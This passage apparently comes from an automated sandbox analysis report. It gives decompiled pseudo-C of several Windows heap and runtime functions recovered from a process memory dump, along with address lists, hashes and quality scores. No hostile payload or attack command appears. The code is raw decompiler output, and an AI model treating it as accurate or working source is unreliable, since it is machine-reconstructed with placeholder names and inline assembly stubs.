									 *((intOrPtr*)(_t103 - 0x1c)) = E1E3C2C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E1E3C2ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E1E3ED0D1(_t62);
				goto L28;
			}

0x1e3c2990
0x1e3c2992
0x1e3c2997
0x1e3c29a3
0x1e3c29a6
0x1e3c29ab
0x1e3c29ad
0x1e3c29b2
0x1e405c80
0x1e3c29b8
0x1e3c29b8
0x1e3c29bb
0x1e3c29c0
0x1e3c29c5
0x1e3c29c6
0x1e3c29c6
0x1e3c29cb
0x00000000
0x00000000
0x1e3c29cd
0x1e3c29d0
0x1e3c29d9
0x1e3c29db
0x1e3c29dd
0x1e3c2a7f
0x1e3c2a84
0x1e3c2a87
0x1e3c2a89
0x1e405ca1
0x1e405ca3
0x00000000
0x1e3c2a8f
0x1e3c2a8f
0x00000000
0x1e3c2a8f
0x00000000
0x1e3c29e3
0x1e3c29e3
0x1e3c29e3
0x00000000
0x1e3c29e3
0x1e3c29dd
0x00000000
0x1e3c29db
0x1e3c29e6
0x1e3c29e9
0x1e3c29eb
0x1e3c29ed
0x1e3c29f3
0x1e3c29f5
0x1e3c29f8
0x1e3c29fa
0x1e3c2a97
0x1e3c2a9a
0x1e3c2a9d
0x1e3c2add
0x00000000
0x1e3c2a9f
0x1e3c2aa2
0x1e3c2aa5
0x1e3c2aa8
0x1e3c2aab
0x1e405cab
0x1e405caf
0x1e405cc5
0x1e405cda
0x1e405cdc
0x1e405cdf
0x1e405ce5
0x00000000
0x1e405ceb
0x1e405ced
0x1e405cee
0x00000000
0x1e405cee
0x1e405cb1
0x1e405cb4
0x1e405cb9
0x1e405cbb
0x00000000
0x1e405cbd
0x1e405cbd
0x00000000
0x1e405cbd
0x1e405cbb
0x1e3c2ab1
0x1e3c2ab1
0x1e3c2ac4
0x1e3c2ac6
0x1e3c2ac6
0x00000000
0x1e3c2ac6
0x1e3c2aab
0x00000000
0x1e3c2a00
0x1e3c2a09
0x1e3c2a0e
0x1e3c2a21
0x1e3c2a24
0x1e3c2a35
0x1e3c2a3a
0x1e3c2a3d
0x1e3c2a42
0x1e3c2a59
0x1e3c2a59
0x1e3c2a5c
0x1e3c2a5f
0x1e3c2a5f
0x1e3c29fa
0x1e3c29f3
0x1e3c2a64
0x1e3c2a64
0x1e3c2a6b
0x1e3c2a6b
0x1e3c2a6d
0x1e3c2a72
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f8c58eeba3f28796acf285dc7b8610c33668fac58bf6015522a35a03600715
Instruction ID: 97221a7892401e56a894c0a3758eb400747a5db4ae5986b40862cbd6f42cfcd6
Opcode Fuzzy Hash: c9f8c58eeba3f28796acf285dc7b8610c33668fac58bf6015522a35a03600715
Instruction Fuzzy Hash: 98517979900649DFCF15CF55C880ACEBBB6FF48B10F118666E808AB260C735DD92CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C4D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E1E3C4D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x1e48d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E1E3DFA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x1e487bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E1E3DB0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L1E3B4620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E1E39CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E1E3DB640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E1E3DF380(_t67 + 0xc, 0x1e375138, 0x10) == 0) {
								 *0x1e4860d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E1E3C4F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E1E3C4E70(0x1e4886b0, 0x1e3c5690, 0, 0) != 0) {
					_t46 = E1E39CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x1e3c4d3b
0x1e3c4d4d
0x1e3c4d53
0x1e3c4d58
0x1e3c4d65
0x1e3c4d6c
0x1e3c4d71
0x1e3c4d77
0x1e3c4d7f
0x1e3c4d8c
0x1e3c4d8e
0x1e3c4dad
0x1e3c4db0
0x1e3c4db7
0x1e3c4db8
0x1e3c4db9
0x1e3c4dba
0x1e3c4dbb
0x1e3c4dc1
0x1e3c4dc8
0x1e3c4dcc
0x1e3c4dd5
0x1e3c4dde
0x1e3c4ddf
0x1e3c4de0
0x1e3c4de1
0x1e3c4de6
0x1e3c4de7
0x1e3c4de9
0x1e3c4df3
0x00000000
0x00000000
0x1e406c7c
0x1e406c8a
0x1e406c8a
0x1e406c9d
0x1e406ca7
0x1e406cac
0x1e406cb2
0x1e406cb9
0x00000000
0x1e406cbf
0x1e406cbf
0x00000000
0x1e406cbf
0x1e406cb9
0x1e3c4dfb
0x1e406ccf
0x1e406cd3
0x1e3c4e32
0x1e3c4e39
0x1e406ce0
0x1e406cf2
0x1e406cf2
0x1e406ce0
0x1e3c4e3f
0x1e3c4e41
0x1e3c4e51
0x1e3c4e51
0x1e3c4e03
0x1e3c4e03
0x1e3c4e09
0x1e3c4e0f
0x1e3c4e57
0x00000000
0x00000000
0x1e3c4e1b
0x1e3c4e30
0x1e3c4e5b
0x1e3c4e5b
0x00000000
0x1e3c4e30
0x1e3c4e11
0x1e3c4e11
0x1e3c4e16
0x00000000
0x1e3c4e16
0x1e3c4e01
0x00000000
0x1e3c4e01
0x1e3c4da5
0x1e406c6b
0x00000000
0x1e3c4dab
0x1e3c4dab
0x00000000
0x1e3c4dab

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ecea49e3e0197b659e97142a880eaa44fd86509ab328931f703c9f8ee7b27b
Instruction ID: 1689a29dbaf74330f267a95d16762782e1444ceae973278c3fa1e577e8ed4995
Opcode Fuzzy Hash: 74ecea49e3e0197b659e97142a880eaa44fd86509ab328931f703c9f8ee7b27b
Instruction Fuzzy Hash: AA41F675A40358AFEB21CF24CC80F9AB7AAEB45710F0107ABE8469B781D774ED44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C4BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E1E3C4BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x1e48d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E1E39CC50(_t86);
					L11:
					return E1E3DB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x1e488504
				E1E3B2280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E1E3DFA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E1E3DB0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L1E3B4620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E1E39CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x1e488504
								E1E3AFFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E1E3C4F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x1e3c4bad
0x1e3c4bbf
0x1e3c4bc2
0x1e3c4bc6
0x1e3c4bcd
0x1e3c4bd9
0x1e4067fe
0x1e406800
0x1e3c4ccc
0x1e3c4ccd
0x1e3c4cb7
0x1e3c4cc9
0x1e3c4cc9
0x1e3c4bdf
0x1e3c4be5
0x00000000
0x00000000
0x1e3c4beb
0x1e3c4bef
0x00000000
0x00000000
0x1e3c4bf5
0x1e3c4bf9
0x1e3c4c06
0x1e3c4c0b
0x1e3c4c17
0x1e3c4c1c
0x1e3c4c1f
0x1e3c4c25
0x1e3c4c33
0x1e3c4c3d
0x1e3c4c40
0x1e3c4c43
0x1e3c4c47
0x1e3c4c4d
0x1e3c4c53
0x1e3c4c54
0x1e3c4c55
0x1e3c4c56
0x1e3c4c5b
0x1e3c4c5c
0x1e3c4c63
0x1e3c4c6b
0x00000000
0x00000000
0x1e406776
0x1e406784
0x1e406784
0x1e40679f
0x1e4067a7
0x1e4067af
0x1e4067ce
0x00000000
0x1e4067b1
0x1e4067b7
0x1e4067b8
0x1e4067c1
0x1e4067d3
0x1e4067d9
0x1e4067dd
0x1e3c4c94
0x1e3c4c94
0x1e3c4c98
0x1e3c4c9c
0x1e3c4ca3
0x1e4067f4
0x1e4067f4
0x1e3c4cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3c4cb5
0x1e3c4c79
0x1e3c4c7e
0x1e3c4c89
0x1e3c4c8b
0x1e3c4c8f
0x1e3c4c8f
0x00000000
0x1e3c4c89
0x1e4067c3
0x00000000
0x1e4067c3
0x1e4067af
0x1e3c4c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e659b0ddd2e9bf12d7cf488384941415edfb0db35b563626355b514262685f
Instruction ID: 27720798c8076834af75b37148d6f0a7faba00533de2b6a411b97bf7c72a1726
Opcode Fuzzy Hash: c9e659b0ddd2e9bf12d7cf488384941415edfb0db35b563626355b514262685f
Instruction Fuzzy Hash: 5A41C535A40268ABCB21DF64C940FDA77B9EF45700F0146BAE909AB750DB74EE84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A8A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1E3A8A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x1e48d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E1E3DB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E1E3AE9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x1e371180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E1E3C1DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E1E3D3C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E1E3A8999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x1e3a8a0a
0x1e3a8a1c
0x1e3a8a23
0x1e3a8a2e
0x1e3a8a30
0x1e3a8a36
0x1e3a8a3c
0x1e3a8a3e
0x1e3a8a4a
0x1e3a8a52
0x1e3a8a9c
0x1e3a8aae
0x1e3a8a58
0x1e3a8a5e
0x1e3a8a6a
0x1e3a8a6f
0x1e3a8a75
0x1e3a8a7d
0x1e3a8a85
0x1e3a8a86
0x1e3a8a89
0x1e3a8a93
0x1e3a8a99
0x1e3a8a9b
0x00000000
0x1e3a8aaf
0x1e3a8abe
0x1e3a8ac3
0x1e3a8acb
0x1e3a8ad7
0x1e3a8ae0
0x1e3a8af1
0x00000000
0x1e3a8af1
0x1e3a8acd
0x1e3a8ad5
0x1e3a8afb
0x1e3a8afd
0x1e3a8aff
0x1e3a8b07
0x1e3a8b22
0x1e3a8b24
0x1e3a8b2a
0x1e3a8b2e
0x1e3a8b3f
0x1e3a8b78
0x1e3a8b41
0x1e3a8b52
0x1e3a8b54
0x1e3a8b5c
0x1e3a8b74
0x1e3a8b74
0x1e3a8b5c
0x1e3a8b3f
0x1e3a8b5e
0x1e3a8b61
0x1e3a8b64
0x1e3a8b64
0x1e3a8b6c
0x1e3a8b6c
0x1e3a8b11
0x1e3f9cd5
0x1e3f9cd5
0x1e3a8b17
0x1e3a8b1a
0x1e3a8b1a
0x00000000
0x1e3a8ad5
0x1e3a8a89

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6584a8bc79deaa7fe2d0095cd67ad5b05648ee52359b36a00ed2321f01b14f1
Instruction ID: 8ea3abb74b23298f9222be1fb2126baab931312a31649c5d4d126fb2497d7616
Opcode Fuzzy Hash: c6584a8bc79deaa7fe2d0095cd67ad5b05648ee52359b36a00ed2321f01b14f1
Instruction Fuzzy Hash: DB4160B5A012699BDB24CF56C88CAA9B3F9FB84300F1047E9DA19D7251E7709EC0CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AA16, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E45AA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E1E45ABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E1E45AB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E1E45AC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E1E43CB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L1E3B77F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E1E3B7D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E1E45131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E1E43CB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}

0x1e45aa1f
0x1e45aa21
0x1e45aa23
0x1e45aa2b
0x1e45aa30
0x1e45aa36
0x1e45aa39
0x1e45aa42
0x1e45aa75
0x1e45aa7a
0x1e45aa7c
0x1e45aa7c
0x1e45aa88
0x1e45aa8a
0x1e45aa8f
0x1e45ab02
0x1e45ab04
0x1e45aa99
0x1e45aaa8
0x1e45aaaf
0x1e45aab3
0x1e45aacc
0x1e45aad1
0x1e45aad6
0x1e45aae0
0x1e45aaf3
0x1e45aaf9
0x1e45aafe
0x1e45aafe
0x1e45aaf3
0x1e45aad6
0x1e45aab3
0x1e45ab07
0x1e45ab0a
0x1e45ab11
0x1e45ab23
0x1e45ab13
0x1e45ab1c
0x1e45ab1c
0x1e45ab2b
0x1e45ab44
0x1e45ab44
0x1e45ab51
0x1e45ab51
0x1e45aa44
0x1e45aa47
0x1e45aa4c
0x00000000
0x00000000
0x1e45aa5a
0x1e45aa64
0x1e45aa72
0x00000000
0x1e45aa66
0x1e45aa66
0x1e45aa68
0x1e45aa6a
0x00000000
0x1e45aa6a

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: 1ed9498e2807ece3b059bf36d5f7dd775af607f134d0eca818a88e46ddea61e4
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: BD310032F002846BDB05CB65CC55BAFF7ABEF84290F15826AEA01A7381DB749D00D690

Uniqueness

Uniqueness Score: -1.00%

Function 1E45FDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1E45FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E1E45FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E1E460A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E1E3B7D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E1E451608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E1E462B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E1E45C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E1E45DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E1E3B7D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E1E45A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x1e45fde7
0x1e45fde8
0x1e45fdec
0x1e45fdee
0x1e45fdf5
0x1e45fdf7
0x1e45fdfc
0x1e45fe19
0x1e45fe22
0x1e45fe26
0x1e45fec6
0x1e45fecd
0x1e45fed5
0x1e45fee7
0x1e45fed7
0x1e45fee0
0x1e45fee0
0x1e45feef
0x1e45ff00
0x1e45ff02
0x1e45ff07
0x1e45ff07
0x00000000
0x1e45feef
0x1e45fe33
0x1e45fe55
0x1e45fe59
0x1e45fe5b
0x1e45fe5e
0x1e45fe69
0x1e45fe6d
0x1e45fe6d
0x1e45fe69
0x1e45fe35
0x1e45fe41
0x1e45fe41
0x1e45fe79
0x1e45fe8b
0x1e45fe7b
0x1e45fe84
0x1e45fe84
0x1e45fe93
0x00000000
0x1e45fea8
0x1e45feba
0x00000000
0x1e45feba
0x1e45fdfe
0x1e45fe01
0x1e45fe02
0x1e45fe08
0x1e45ff0c
0x1e45ff14
0x1e45ff14

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: f0630558fdaf15fefa898305210d18bbfb4afc589953e790137aacc9dbe6c534
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: BA3107367006806FD3128B64C854F5B7BEAEFC5650F254B5BE9468B742DB74EC82C721

Uniqueness

Uniqueness Score: -1.00%

Function 1E45EA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E1E45EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E1E3B2280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E1E45E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E1E39F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E1E3AFFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E1E45AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E1E45BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E1E3B7D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E1E44FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E1E3AFFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E1E45A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x1e45ea55
0x1e45ea66
0x1e45ea68
0x1e45ea6c
0x1e45ea6f
0x1e45ea72
0x1e45ea75
0x1e45ea7a
0x1e45ea7a
0x1e45ea7e
0x1e45ea80
0x1e45ea85
0x1e45ea8b
